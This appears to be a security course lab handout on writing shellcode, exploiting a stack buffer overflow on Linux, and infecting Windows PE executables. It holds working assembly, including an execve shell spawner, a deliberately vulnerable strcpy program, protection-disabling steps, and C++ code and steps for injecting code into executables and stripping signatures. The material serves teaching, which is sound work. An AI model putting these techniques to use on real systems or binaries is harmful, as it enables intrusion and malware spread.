Laboratory 2: Shellcoding and infection propagation

Introduction

This lab session focuses on techniques for infection propagation. It assumes very good knowledge of C language, Intel Assembler, and some Python scripting (optional) to develop some helpers.

The lab is divided into three different parts:

- First part covers the basis of shellcoding and its effects and nuisances both on Linux and Windows to allow code injection
- Second part highlights how a Stack Overflow may be exploited on a Linux Operating System. With this toy example we will cover the basics
- Third part provides an example of Virus propagation software, which is able to corrupt PE files on Microsoft Windows

Prerequisites

This lab requires both Linux and Windows operating systems to simplify the shellcode creation. It is important to notice that the shellcode created in this lab will alternatively use both 32 and 64 bit, we provide this diversity so you can observe the differences. Anyhow, all code may be ported to the other platform considering the differences on registers and how to access the actual registers when passing parameters to syscalls.

The parts concerning Windows OS will require on some cases to compile assembly code using Linux, specially if you are using 64 bit, as the open compilers and linkers are 32bit in general. However this is not mandatory and just recommended, as in Windows it is a little bit more complex to achieve the same.

No part of this lab should be dangerous for your system, so, you can use your physical machine to do the lab, albeit if recommended to do it from a VM just in case.

Windows machine requires the installation of:

- MinGW 32bit to compile some code. You only need this to use a Windows only system, however, you'll be able to use any other compiler though (for example directly compiling on Linux).
- Windows Debugger WinDbg:

  https://developer.microsoft.com/windows/downloads/windows-10-sdk
- Any 32bit application as a proof of the code injection. Feel free to download any. You may use 64bit but you'll be on your own.
- Microsoft Visual Studio (or any other suite) to compile C code
- PE View: http://wjradburn.com/software/

The Linux machine requires:

- NASM package. It needs to be installed:
  - Debian based distributions:

```
$ sudo apt install nasm
```

  - RedHat based distributions:

```
$ sudo dnf install nasm
```

- **`binutils`** package
  - **`binutils`** is generally installed as a base package on most distributions
- GNU DeBugger gdb:
  - Debian based distributions:

```
$ sudo apt install gdb
```

  - RedHat based distributions:

```
$ sudo dnf install gdb
```

If you insist on using Mac OS to do the lab feel free to investigate how system calls and exploits work on that system. However, the lab will not cover that area.

What is Shellcoding?

Shellcoding may be regarded as an art. It takes many forms and is widely exploited by hackers to execute arbitrary code. Which is injected directly as data to the running process.

The name comes from the fact that, in general, we will use this code to grant access to a shell. However, it may allow an attacker to execute any code, not just shell access.

Shellcoding has the particularity that needs to be injected in machine code form, hence, it has become an art to produce “shellcodes” in various ways and in an automatic form. It is recommended to check the Metasploit project for examples of this. In this lab, we will do the shellcoding by hand to provide the necessary tools to understand how is this achieved.

Shellcoding has some requirements, since it is generally injected through string overflows it cannot contain the ‘\0’ character, which marks the end of string. This implies that some code at assembly level needs to be adjusted to avoid this. We will see examples during this lab!

Part 1: Into shellcodes

This first part of the lab will provide the basis to create shellcode. We will start with the basics and keep complicating things.

Our first shellcode on Linux

The first task will be performed on Linux, don't worry, we will get to Windows very quickly. For the purpose of this first task we will use a basic C placeholder to allow our shellcode to be executed. The C code is very simple and crafted for the purpose of this lab:

```
int main(int argc, char **argv)
{
  char code[] = "HERE GOES OUR SHELLCODE";
  int (*hack_func)();              // First we define a function pointer
  hack_func = (int (*)()) code;    // Assign the func. pointer to the shellcode
  (int)(*hack_func)();             // We invoke the funciton
}
```

Due to compiler optimizations the `code` variable needs to be local to `main`, DON'T make it global

Now let's print something on the screen with shellcode. As this is the first one we will babysit you a little bit. To do this, on Linux (and UNIX in general) we have to invoke the `write` system call on **`STDOUT`**. Careful, the next code it Linux dependent, and will not work on other operating systems. The code creating this output message is as follows:

```
; text_output.asm
[SECTION .text]

global _start
_start:
    jmp short ender
    starter:

    xor eax, eax    ; clean up the registers
    xor ebx, ebx    ; as we shall see later, using these instructions
    xor edx, edx    ;   allow us to avoid having nulls (\0) on our
    xor ecx, ecx    ;   shellcode

    mov al, ??      ; search which is the code for write system call
    mov bl, ??      ; stdout file descriptor
    pop ecx         ; get the address of the string from the stack
                    ;    (IP from call!!)
    mov dl, ??      ; length of the string on the last line, consider \0!
    int 0x80        ; Interrupt for kernel to run the syscall

    xor eax, eax
```

```
    mov al, 1       ; exit the application
    xor ebx, ebx
    int 0x80

    ender:
    call starter    ; put the address of the string on the stack
    db 'PUT SOME STRING'
```

Easy right? Take some time to evaluate the above code and try to figure out which is the integer value for the write system call, the default **STDOUT** file descriptor and the length of the string your defined. Careful, and remember, if you use **int 0x80** the system call number will be different than when we invoke the **syscall** instruction.

Once this is clear we have to actually generate the bytecode for our shellcode. This is a fairly easy process to perform. First we have to generate the object with **nasm**:

```
    $ nasm -f elf32 [ASM_FILE] -o [OBJECT_FILE]
```

Where the flag **-f elf32** will guarantee to generate 32bit machine code, which is what we want looking at the assembly code. **[ASM_FILE]** is our source ASM code file and the **[OBJECT_FILE]** (usually ended by **.o** extension) is the output. If all goes as expected, this should generate a .o file with the object code (intermediate code before the final machine code). Then we just need to link the code to generate an executable:

```
    $ ld -melf_i386 -o [EXECUTABLE] [OBJECT_FILE]
```

As expected this would create an executable out of our assembly code. Now you can try and run it: **./[EXECUTABLE]**

It should print your string on the screen. Nice!, we now can print strings on **STDOUT** :)

Now comes the tricky part, we have to extract the bytecode out of the executable, to do so we will use **objdump** (present in **binutils** package). Here goes a partial example output:

```
    $ objdump -d OBJECT_FILE

text_output:    …


Disassembly of section .text:

00000000 <_start>:
       0:       eb 19                   jmp    1b <ender>

00000002 <starter>:
       2:       31 c0                   xor    %eax,%eax
       4:       31 db                   xor    %ebx,%ebx
       6:       31 d2                   xor    %edx,%edx
```

```
      8:       31 c9                   xor    %ecx,%ecx
  .
  .
  .
     19:       cd 80                   int    $0x80

0000000000401021 <ender>:
     1b:       e8 e2 ff ff ff          call   2 <starter>
     20:       68 65 6c 6c 6f          pushq  $0x6f6c6c65
     25:       0a                      .byte  0xa
```

Nice!, now we have to get the binary code and stream it like this:

eb 1f 48 31 c0 48 31 db … 6c 6f

and transform this to something our C code may understand:

“\xeb\x1f\x48\x31\xc0\x48\x31\xdb … \x6c\x6f”

Be very careful not to insert any space or any strange character in between as it will disrupt your shellcode. A good recommendation is to write a script to parse **objdump** (or better **objcopy + od**) to avoid human errors during the tedious process.

Almost there!, now we have to go back to our C source at the beginning and define the **code** variable with our shellcode:

char code[] = ”\xeb\x1f\x48\x31\xc0\x48\x31\xdb … \x6c\x6f”

Now the last step, let’s compile our software:

```
$ gcc -z execstack -m32 -o [FINAL_EXEC] [C_FILE]
```

And run it… Impressed?, we just finished our first shellcode exercise, so we were able to execute code from our string buffer. YAY!!!

Take your time to understand all the above, it will be needed later in **Part 2**. Stay tuned!

What about Windows!

Before starting some important points to remember:

- We want to achieve a similar thing on Windows, however there are fundamental differences to tackle this:
- Most system calls in Windows are interfaced through **kernel32.dll**, which are implicitly linked on any Windows application. Luckily our linker helps finding those from assembler, so in general we will not need to go and find the offsets.
- The Syscall abstraction on Windows implies that they are not invoked using interrupts, opposed to Linux, but rather through the **kernel32.dll** interfaces.

- As a consequence, our shellcode, when interacting with the operating system needs to acquire the addresses of the different system calls.

Since this may get a little complex let us summarize what will we do in this part of the lab:

- The final goal is to spawn a Message Box saying Hello from a buffer, similar to what we achieved on Linux before.
    - This may be accomplished by searching the offset of the necessary functions.
- Create the assembly code to display the message box.
- Update the C code we used before to test in our system

Getting function offsets

To perform this exercise we will need the offsets of the following functions:

- **`MessageBoxA`** → which is located into **`user32.dll`**
    - This forces us to use the **`LoadLibraryA`** function as well, since we will have to load **`user32.dll`**
- **`ExitProcess`** → we wish to gracefully end our process

How can we obtain the offsets of those functions?, since we are lazy we will search for a way of doing this automatically. This can be achieved by the following C code, shamelessly stolen from http://www.vividmachines.com/shellcode/arwin.c:

```
int main(int argc, char** argv)
{
        HMODULE hmod_libname;
        FARPROC fprc_func;

        printf("arwin - win32 address resolution program - by steve hanna - v.01\n");
        if(argc < 3)
        {
                printf("%s <Library Name> <Function Name>\n",argv[0]);
                exit(-1);
        }

        hmod_libname = LoadLibrary(argv[1]);
        if(hmod_libname == NULL)
        {
                printf("Error: could not load library!\n");
                exit(-1);
        }
        fprc_func = GetProcAddress(hmod_libname,argv[2]);

        if(fprc_func == NULL)
        {
                printf("Error: could find the function in the library!\n");
                exit(-1);
        }
        printf("%s is located at 0x%08x in %s\n",argv[2],(unsigned int)fprc_func,argv[1]);
```

```
}
```

Now, rather than obtaining the addresses of **MessageBoxA**, we could build something better, we could leverage on **GetProcAddress** to obtain as many addresses from **user32.dll** as necessary. This will scale up better in case you need more functions.

So, let's then find the addresses. Compile and run the application with all the necesasry functions: **ExitProcess**, **GetProcAddress**, and **LoadLibraryA.**

Building our shellcode

OK, now that we know how to get to the base address of **user32.dll**, we can start working :), now the next thing we need is to search in the defined list of functions present on **kernel32.dll** all the system calls we need to work with. Following code points you into the right direction. Careful, following code works in 32 bits only.

```
[SECTION .text]
global _start
_start:
  ; eax holds return value
  ; ebx will hold function addresses
  ; ecx will hold string pointers
  ; edx will hold NULL

  xor eax, eax
  xor ebx, ebx        ; zero out the registers
  xor ecx, ecx
  xor edx, edx
  jmp short GetLibrary

LibraryReturn:
  pop ecx             ; get the library string
  mov [ecx + 10], dl  ; insert NULL
  mov ebx, 0x???????? ; LoadLibraryA(libraryname)

  push ecx            ; beginning of user32.dll
  call ebx            ; eax will hold the module handle
  jmp short FunctionName

FunctionReturn:
  pop ecx             ; get the address of the Function string
  xor edx, edx
  mov [ecx + 11], dl  ; insert NULL
  push ecx
  push eax
  mov ebx, 0x???????? ; GetProcAddress(hmodule, functionname);
  call ebx            ; eax now holds the address of MessageBoxA
  jmp short Message

MessageReturn:
  pop ecx             ; get the message string
  xor edx, edx
  mov [ecx + 5], dl   ; insert the NULL
  xor edx, edx
```

```
  push edx            ; MB_OK
  push ecx            ; title
  push ecx            ; message
  push edx            ; NULL window handle

  call eax            ; MessageBoxA(windowhandle, msg, title, type) Address

ender:
  xor edx, edx
  push eax
  mov eax, 0x???????? ; exitprocess(exitcode)
  call eax   ; exit cleanly so we don't crash the parent program
             ;  the N at the end of each string signifies the location of the NULL
             ;  character that needs to be inserted

GetLibrary:
  call LibraryReturn
  db 'user32.dllN'

FunctionName:
  call FunctionReturn
  db 'MessageBoxAN'

Message:
  call MessageReturn
  db 'HelloN’
```

Now you can follow the same process we used previously on the Linux shellcode section above. Think that compiling software is independent of the platform. Running it will require you to use Windows though.

Part 2: Exploiting Buffer Overflows (on Linux)

If you look for “Linux Buffer Overflow Examples” on your favorite search engine you will find plenty of examples, some of them pretty good. The problem in general is outdated methods due to compiler upgrades and the inherent complexity of doing it.

Preliminary work

Given the present security measures of up-to-date kernels, compilers and systems in general we will cheat a little bit to understand the concept. To this end we will compile and use specially crafted application that will allow us to bypass such security protections. In particular we need to overcome the following protections:

- No executable stack: we change this by using gcc options during compilation **`-z execstack`**
- Stack protection (using canary values): we overcome this by using gcc options during compilation **`-fno-stack-protect, -mpreferred-stack-boundary=2`**
- Address Space Layout Randomization (ASLR) disabled temporarily by running:

  ```
  $ sudo sysctl -w kernel.randomize_va_space=0
  ```

  Reverting to value 1 will turn ASLR back on.

- Last but not least, we have to use GCC 10 or OLDER, since GCC 11 and later incorporate more robust stack protection flags. On Ubuntu just run:

  ```
  $ sudo apt install gcc-10 gcc-10-multilib
  ```

The Vulnerable code

For the purpose of this lab we will use the following C vulnerable code (**`vulnerable.c`**):

```
#include <stdio.h>
#include <string.h>

void vulnerable(char *name) {
    char buffer[100];
    strcpy(buffer, name);
    printf("Welcome to our temple %s\n", buffer);
}

int main(int argc, char *argv[]) {
   vulnerable(argv[1]);
   return 0;
}
```

Try compiling and playing around with arbitrary inputs, don't forget to use 32bit and the gcc flags specified above. Are you able to crash the application? Think a little bit on how can you cause a Segmentation Fault.

Let's make the code crash

As you may have guessed, overflowing the stack will cause nasty things, let's try:

```
 $ ./vulnerable $(python3 -c 'print ("A" * 120)')
Welcome to our temple
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
Segmentation fault
```

Nice, now let's debug it a little bit. Compile the above code using the **-g** flag and fire up GDB:

```
 $ gdb ./vulnerable
```

Run it with the **run $(python3 -c 'print ("A" * 108)')** command. Wait for it to crash and let's examine what's wrong with it:

```
 (gdb) info registers
…
 (gdb) x/27x $esp
…
```

The last command prints 27 32bit words starting at 200bytes before the stack. You should be able to find at the lowest memory position of the stack the buffer passed to the function. You should also be able to spot the EBP and the return values present on the stack to be recovered on returning the function. You can even look at the assembly code using the **disassemble** command.

OK, now it's your time to work a little bit, think how can you craft the passed string to overwrite the return address to point somewhere within the buffer, mind that since later we want to obtain a shell, we don't care about the EBP value, so we can overwrite that as well.

Now, once you have managed to do this let's think a little bit. What would happen if instead of "A"s on the input we manage to insert here our shellcode? Easy peasy, at the beginning of this session we built our first shellcode, which just printed stuff on the screen, let's modify it to manage to invoke the "**execve**" system call. This is not straight forward and you may need some help. First we need to understand how the execve call works:

```
      int execve(const char *pathname, char *const argv[],
                 char *const envp[]);
```

Also consider that **argv[0]** needs to contain the same value as **pathname** and be NULL terminated. For this example we will leave **envp** as NULL as well. There are many ways of obtaining this on assembler,

but they all share something in common, our shellcode must NOT have any `\0` as it would terminate our string, hence, we will have to do some workarounds for that. The one proposed here is just another alternative:

```
[SECTION .text]

global _start


_start:
    jmp short ender

    starter:

    pop ebx                 ; get the address of the string
    xor eax, eax

    mov [ebx + 7], al       ; put a NULL where the N is in the string
    mov [ebx + 8], ebx      ; put the address of the string to where the
                            ; AAAA is
    mov [ebx + 12], eax     ; put 4 null bytes into where the BBBB is
    mov al, 11              ; execve is syscall 11
    lea ecx, [ebx + 8]      ; load the address of where the AAAA was
    lea edx, [ebx + 12]     ; load the address of the NULLS
    int 0x80                ; call the kernel, WE HAVE A SHELL!

ender:
    call starter
    db '/bin/shNAAAABBBB'
```

Since we did all the hardwork, we'll let you convert that to shellcode.

Now let's try this. Craft a buffer that has the shellcode as well as the capability of overwriting the return value to the initial shellcode, the value you want to jump to may be found using GDB. Try this but don't spend more than 30 minutes on it. It's hard!

We face several problems here, first is the fact that the offsets may change, and it's complex to get it right as we don't have margin for error (now imagine if we turned ASLR on again…), so we need to be a little bit smarter, so, let's create a NOP Sled.

Into NOP Sleds

The problem is to get the actual offset to jump to in all cases, think that environment variables may affect those offsets, compiler flags do that as well. So, to minimize this we can use a NOP sled, which basically is a set of instructions that do nothing, but that allow us to compensate for those little variations on the offsets. Now. Let's create a buffer that looks like:

NOP-Sled + Shell Code + Padding + Return values

The size of it all needs to be exactly **`100 + EBP + EIP`** and depending on your system other temporary values, so it is advised to check with GDB the exact amount (normally 8 or 12). So, the length of the shellcode is constant, the NOP-Sled can be as big as we want (NOP is encoded as **`\x90`**), padding may be as big (and random) as we need, and the return values need to be obtained. To do so, fire up GDB and check the stack with the commands we used before, and then, create a python (or whatever scripting language you want) and create an input for the program with all the above logic. Good luck!!!! :)

Part 3: Infection of existing applications (on Windows)

In this section of the lab we will cover the basics of executable infection. Bear in mind that solutions outlined here may not work in some cases, however we will highlight the main points to accomplish this with our application.

The goal of this lab is to infect an already existing executable which will popup a message box when executed. The infection will be performed by a compiled application and will not propagate to other binaries, we leave that part to you in case you are interested. The technique to achieve this is not very different than the one we used but all encoded in shellcode. Good luck if you want to get there!

The high level steps we will follow to accomplish this may be summarized into:

- Create a shellcode which may perform the task at hand. In this case to pop-up a message box. We already know how to do that, right!?
- Find an executable to inject the code. Be aware that the exe needs to be compiled using the same architecture and bits. So in our case we will use a 32bit app for the sake of the lab, pick any you want. Feel free to port this into 64bit architecture if you want.
- Create a C (actually C++) application that will inject the code into the EXE
    - Create a new code section into the EXE (actually this can be achieved using other techniques as we saw on Lesson 3, but we want to focus a little bit)
    - Make this section the default
    - Put the code necessary to jump back into the main application code before the changes
    - Inject the shellcode into the new section as well
- Finally we only need to erase the digital signature of the executable if present to avoid invalidating it by our injection

If all goes as expected, at this point we should have successfully injected our custom code into an application, which once started will be transparently executed.

OK, easy right. Before diving on how to achieve this a little disclaimer, this can be easily done using python and the pefile module, browse around using your favorite search engine and you'll see working code. However we want to get our hands dirty and understand the internals, we don't want to be *script kiddies*, we want the real thing right!?

Opening and Parsing Windows PE file

It is recommended to read and understand the PE format to handle and manage PE files. The base documentation can be found at the following link.

First task we will have to perform is to open the destination binary file and parse it into memory. We have to do this in a very structured way, as we will have to change its structure later in the process.

So, to ease your work we provide here a simple PE file parser and writter:

PE.h:

```
#pragma once

namespace PE
{
  struct PE_FILE {
    size_t size_ids{};
    size_t size_dos_stub{};
    size_t size_inh32{};
    size_t size_ish{};
    size_t size_sections{};
    IMAGE_DOS_HEADER ids;
    std::vector<char> MS_DOS_STUB;
    IMAGE_NT_HEADERS32 inh32;
    std::vector<IMAGE_SECTION_HEADER> ish;
    std::vector<std::shared_ptr<char>> Sections;
    void set_sizes(size_t, size_t, size_t, size_t, size_t);
  };

  std::tuple<bool, char*, std::streampos> OpenBinary(std::string filename);
  PE_FILE ParsePE(const char* PE);
  void WriteBinary(PE_FILE pefile, std::string file_name, size_t size);
}
```

PE.cpp:

```
#include <iostream>
#include <windows.h>
#include <fstream>
#include <future>
#include <string>
#include <memory>
#include "PE.h"
#include <bitset>
#include <sstream>
using namespace std;

constexpr std::size_t
align_up(std::size_t value, std::size_t alignment) noexcept {
        return (value + alignment - 1) & ~(alignment - 1);
}

namespace PE {
  void PE_FILE::set_sizes(size_t size_ids_, size_t size_dos_stub_,
                          size_t size_inh32_, size_t size_ish_, size_t size_sections_) {
    this->size_ids = size_ids_;
    this->size_dos_stub = size_dos_stub_;
    this->size_inh32 = size_inh32_;
```

```
  this->size_ish = size_ish_ + sizeof(IMAGE_SECTION_HEADER);
  this->size_sections = size_sections_;
}

tuple<bool, char*, streampos> OpenBinary(string filename) {
  auto flag = false;
  fstream::pos_type size{};
  char* bin{};

  ifstream ifile(filename, ios::binary | ios::in | ios::ate);
  if (ifile.is_open()) {
    size = ifile.tellg();
    bin = new char[size];
    ifile.seekg(0, ios::beg);
    ifile.read(bin, size);
    ifile.close();
    flag = true;
  }
  return make_tuple(flag, bin, size);
}

PE_FILE ParsePE(const char* PE) {
  PE_FILE pefile{};
  memcpy_s(&pefile.ids, sizeof(IMAGE_DOS_HEADER), PE, sizeof(IMAGE_DOS_HEADER));
  memcpy_s(&pefile.inh32, sizeof(IMAGE_NT_HEADERS32), PE + pefile.ids.e_lfanew,
           sizeof(IMAGE_NT_HEADERS32)); // address of PE header = e_lfanew
  size_t stub_size = pefile.ids.e_lfanew - 0x3c - 0x4; // 0x3c offet of e_lfanew
  pefile.MS_DOS_STUB = vector<char>(stub_size);
  memcpy_s(pefile.MS_DOS_STUB.data(), stub_size, (PE + 0x3c + 0x4), stub_size);
  if (pefile.inh32.OptionalHeader.Magic != IMAGE_NT_OPTIONAL_HDR32_MAGIC) {
    std::cout << "Please, only 32-bit PE :)\n";
    getchar();
    exit(1);
  }
  auto number_of_sections = pefile.inh32.FileHeader.NumberOfSections;
  pefile.ish = vector<IMAGE_SECTION_HEADER>(number_of_sections + 1); // Number of sections
  auto PE_Header = PE + pefile.ids.e_lfanew;
  auto First_Section_Header = PE_Header + 0x18 +
                              pefile.inh32.FileHeader.SizeOfOptionalHeader;
  // First Section: PE_header + sizeof FileHeader + sizeof Optional Header

  // copy section headers
  for (auto i = 0; i < pefile.inh32.FileHeader.NumberOfSections; ++i) {
    memcpy_s(&pefile.ish[i], sizeof(IMAGE_SECTION_HEADER),
             First_Section_Header + (i * sizeof(IMAGE_SECTION_HEADER)),
             sizeof(IMAGE_SECTION_HEADER));
  }

  for (auto i = 0; i < pefile.inh32.FileHeader.NumberOfSections; ++i) {
    shared_ptr<char> t_char(new char[pefile.ish[i].SizeOfRawData]{},
                            std::default_delete<char[]>()); // Section
    memcpy_s(t_char.get(), pefile.ish[i].SizeOfRawData,
             PE + pefile.ish[i].PointerToRawData, pefile.ish[i].SizeOfRawData);
    pefile.Sections.push_back(t_char);
  }
  size_t sections_size{};
  for (WORD i = 0; i < pefile.inh32.FileHeader.NumberOfSections; ++i) {
    sections_size += pefile.ish[i].SizeOfRawData;
  }

  pefile.set_sizes(sizeof(pefile.ids), stub_size, sizeof(pefile.inh32),
                           number_of_sections * sizeof(IMAGE_SECTION_HEADER), sections_size);
  return pefile;
```

```
  }

  void WriteBinary(PE_FILE pefile, std::string file_name, size_t size) {
    pefile.inh32.OptionalHeader.CheckSum = 0;
    auto r_ch = new char[size] {};

    memcpy_s(r_ch, pefile.size_ids, &pefile.ids, pefile.size_ids);
             // First we copy the DOS Header
    memcpy_s(r_ch + pefile.size_ids, pefile.size_dos_stub, pefile.MS_DOS_STUB.data(),
             pefile.size_dos_stub);  // Then the DOS Stub
    memcpy_s(r_ch + pefile.size_ids + pefile.size_dos_stub, pefile.size_inh32, &pefile.inh32,
             pefile.size_inh32);  // Later the 32 bit Headers (optional and mandatory)

    for (auto i = 0; i < pefile.inh32.FileHeader.NumberOfSections + 1; ++i) {
      // Copy all sections
      memcpy_s(r_ch + pefile.size_ids + pefile.size_dos_stub + pefile.size_inh32 +
                 i * sizeof(IMAGE_SECTION_HEADER), sizeof(IMAGE_SECTION_HEADER),
                 &pefile.ish[i], sizeof(IMAGE_SECTION_HEADER));
    }
    for (auto i = 0; i < pefile.inh32.FileHeader.NumberOfSections; ++i) {
      // Update the maximum size of the data for all sections
      memcpy_s(&r_ch[pefile.ish[i].PointerToRawData], pefile.ish[i].SizeOfRawData,
               pefile.Sections[i].get(), pefile.ish[i].SizeOfRawData);
    }
    ofstream ofile(file_name, ios::binary | ios::out);
    ofile.write(r_ch, size);
    std::cout << "\nEOF\n" << endl;
    ofile.close();
  }
}
```

Adding a new section to the binary

In order to insert a new section we will have to do several things:

1. Obtain the current **`AddressOfEntryPoint`**
2. Prepare a shell code to jump to the original entry point, an easy way of doing this is by encoding the following Assembly instructions:

   `push AddressOfEntryPointAbsolutePosition ; “\x68XXXXXX” Little Endian!`
   `jmp [esp] ; “\xff\x24\x24”`
3. Increase the amount of sections
4. Add a new Image Section Header
5. Copy all existing Image Section headers to new ISH
6. Overwrite original ISH with the new one
7. Construct new section header with all the proper flags and values. In particular:
   1. **`VirtualAddress`**
   2. **`PointerToRawData`**
   3. **`VirtualSize`**
   4. **`SizeOfRawData`**
   5. **`Characteristics`**
      1. **`IMAGE_SCN_CNT_CODE`**
      2. **`IMAGE_SCN_MEM_EXECUTE`**
      3. **`IMAGE_SCN_MEM_READ`**

6. `SizeOfImage`
7. `AddressOfEntryPoint`
8. `SizeOfRawData`

8. Inject the actual shellcode with the addition of point 2 above
9. Finally we have to disable ASLR (look at PE object reference to know the location of these objects, they are quite hardcoded):
    1. Change DllCharacteristics by adding:

        `IMAGE_DLLCHARACTERISTICS_DYNAMIC_BASE`
    2. Reset DataDirectory Base Relocation Table
    3. Add on the File Handler Characteristics `IMAGE_FILE_RELOCS_STRIPPED`
10. Disable DEP
    1. DllCharacteristics with `IMAGE_DLLCHARACTERISTICS_NX_COMPAT`

Erasing the digital signature

This step is actually very simple, we just need to reset the Certificate Table reference on the Data Directory field on the Optional Header.

Writting back the EXE file

Finally, the last action will be to write the EXE file back to disk. This can be easily achieved by serializing back the structure to a buffer for writing to disk.